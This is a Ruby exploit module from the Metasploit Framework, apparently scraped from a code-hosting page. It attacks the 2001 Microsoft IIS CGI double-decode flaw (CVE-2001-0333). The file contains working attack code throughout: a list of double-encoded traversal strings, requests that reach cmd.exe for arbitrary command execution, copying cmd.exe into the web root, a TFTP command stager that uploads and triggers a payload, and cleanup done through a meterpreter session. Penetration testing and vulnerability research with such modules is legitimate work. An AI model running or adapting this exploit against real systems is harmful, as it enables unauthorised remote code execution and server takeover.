261 lines
6.4 KiB
Ruby
261 lines
6.4 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex/proto/tftp'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
# NOTE: This cannot be an HttpClient module since the response from the server
|
|
# is not a valid HttpResponse
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::CmdStagerTFTP
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
|
|
'Description' => %q{
|
|
This module will execute an arbitrary payload on a Microsoft IIS installation
|
|
that is vulnerable to the CGI double-decode vulnerability of 2001.
|
|
|
|
NOTE: This module will leave a metasploit payload in the IIS scripts directory.
|
|
},
|
|
'Author' => [ 'jduck' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2001-0333' ],
|
|
[ 'OSVDB', '556' ],
|
|
[ 'BID', '2708' ],
|
|
[ 'MSB', 'MS01-026' ],
|
|
[ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'May 15 2001'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(80),
|
|
OptString.new('WINDIR', [ false, 'The windows directory of the target host', nil ]),
|
|
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
|
|
], self.class)
|
|
|
|
framework.events.add_exploit_subscriber(self)
|
|
end
|
|
|
|
|
|
def dotdotslash
|
|
possibilities = [
|
|
"..%255c",
|
|
"..%%35c",
|
|
"..%%35%63",
|
|
"..%25%35%63",
|
|
".%252e/",
|
|
"%252e./",
|
|
"%%32%65./",
|
|
".%%32%65/",
|
|
".%25%32%65/",
|
|
"%25%32%65./"
|
|
]
|
|
possibilities[rand(possibilities.length)]
|
|
end
|
|
|
|
|
|
def mini_http_request(opts, timeout=5)
|
|
connect
|
|
req = ''
|
|
req << opts['method']
|
|
req << ' '
|
|
req << opts['uri']
|
|
req << ' '
|
|
req << "HTTP/1.0\r\n"
|
|
req << "Host: #{datastore['RHOST']}\r\n"
|
|
req << "\r\n"
|
|
sock.put(req)
|
|
|
|
# This isn't exactly awesome, but it seems to work..
|
|
begin
|
|
headers = sock.get_once(-1, timeout)
|
|
body = sock.get_once(-1, timeout)
|
|
rescue ::EOFError
|
|
# nothing
|
|
end
|
|
|
|
if (datastore['DEBUG'])
|
|
print_status("Headers:\n" + headers.inspect)
|
|
print_status("Body:\n" + body.inspect)
|
|
end
|
|
disconnect
|
|
[headers, body]
|
|
end
|
|
|
|
|
|
def detect_windows_dir()
|
|
win_dirs = [ 'winnt', 'windows' ]
|
|
win_dirs.each { |dir|
|
|
|
|
res = execute_command("dir", { :windir => dir })
|
|
if (res.kind_of?(Array))
|
|
body = res[1]
|
|
if (body and body =~ /Directory of /)
|
|
return dir
|
|
end
|
|
end
|
|
}
|
|
return nil
|
|
end
|
|
|
|
|
|
def check
|
|
@win_dir = detect_windows_dir()
|
|
if @win_dir
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
|
|
#
|
|
# NOTE: the command executes regardless of whether or not
|
|
# a valid response is returned...
|
|
#
|
|
def execute_command(cmd, opts = {})
|
|
|
|
# Don't try the start command...
|
|
# Using the "start" method doesn't seem to make iis very happy :(
|
|
return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/
|
|
|
|
print_status("Executing command: #{cmd} (options: #{opts.inspect})")
|
|
|
|
uri = '/scripts/'
|
|
exe = opts[:cgifname]
|
|
if (not exe)
|
|
uri << dotdotslash
|
|
uri << dotdotslash
|
|
uri << (opts[:windir] || @win_dir)
|
|
uri << '/system32/cmd.exe'
|
|
else
|
|
uri << exe
|
|
end
|
|
uri << '?/x+/c+'
|
|
uri << Rex::Text.uri_encode(cmd)
|
|
|
|
vprint_status("Attempting to execute: #{uri}")
|
|
|
|
mini_http_request({
|
|
'uri' => uri,
|
|
'method' => 'GET',
|
|
}, 20)
|
|
end
|
|
|
|
|
|
def exploit
|
|
|
|
@win_dir = datastore['WINDIR']
|
|
if not @win_dir
|
|
# try to detect the windows directory
|
|
@win_dir = detect_windows_dir()
|
|
if not @win_dir
|
|
raise RuntimeError, "Unable to detect the target host windows directory (maybe not vulnerable)!"
|
|
end
|
|
end
|
|
print_status("Using windows directory \"#{@win_dir}\"")
|
|
|
|
# now copy the file
|
|
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
|
print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
|
|
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
|
|
# Unfortunately, using %SystemRoot% doesn't seem to work :(
|
|
res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{exe_fname}")
|
|
|
|
if (datastore['CMD'])
|
|
res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
|
|
if (res[0])
|
|
print_status("Command output:\n" + res[0])
|
|
else
|
|
print_error("No output received")
|
|
end
|
|
|
|
res = execute_command("del #{exe_fname}")
|
|
return
|
|
end
|
|
|
|
# Use the CMD stager to get a payload running
|
|
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
|
|
|
|
# Save these file names for later deletion
|
|
@exe_cmd_copy = exe_fname
|
|
@exe_payload = payload_exe
|
|
|
|
# Just for good measure, we'll make a quick, direct request for the payload
|
|
# Using the "start" method doesn't seem to make iis very happy :(
|
|
print_status("Triggering the payload via a direct request...")
|
|
mini_http_request({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
#
|
|
# The following handles deleting the copied cmd.exe and payload exe!
|
|
#
|
|
def on_new_session(client)
|
|
|
|
if client.type != "meterpreter"
|
|
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
|
|
print_error("The copied exe and the payload exe must be removed manually.")
|
|
return
|
|
end
|
|
|
|
return if not @exe_cmd_copy
|
|
|
|
# stdapi must be loaded before we can use fs.file
|
|
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
|
|
|
# Delete the copied CMD.exe
|
|
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
|
|
client.fs.file.rm(@exe_cmd_copy)
|
|
|
|
# Migrate so that we can delete the payload exe
|
|
client.console.run_single("run migrate -f")
|
|
|
|
# Delete the payload exe
|
|
return if not @exe_payload
|
|
|
|
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload
|
|
|
|
print_status("Changing permissions on #{delete_me_too} ...")
|
|
cmd = "C:\\#{@win_dir}\\system32\\attrib.exe -r -h -s " + delete_me_too
|
|
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
|
|
|
print_status("Deleting #{delete_me_too} ...")
|
|
begin
|
|
client.fs.file.rm(delete_me_too)
|
|
rescue ::Exception => e
|
|
print_error("Exception: #{e.inspect}")
|
|
end
|
|
end
|
|
|
|
def cleanup
|
|
framework.events.remove_exploit_subscriber(self)
|
|
end
|
|
|
|
end
|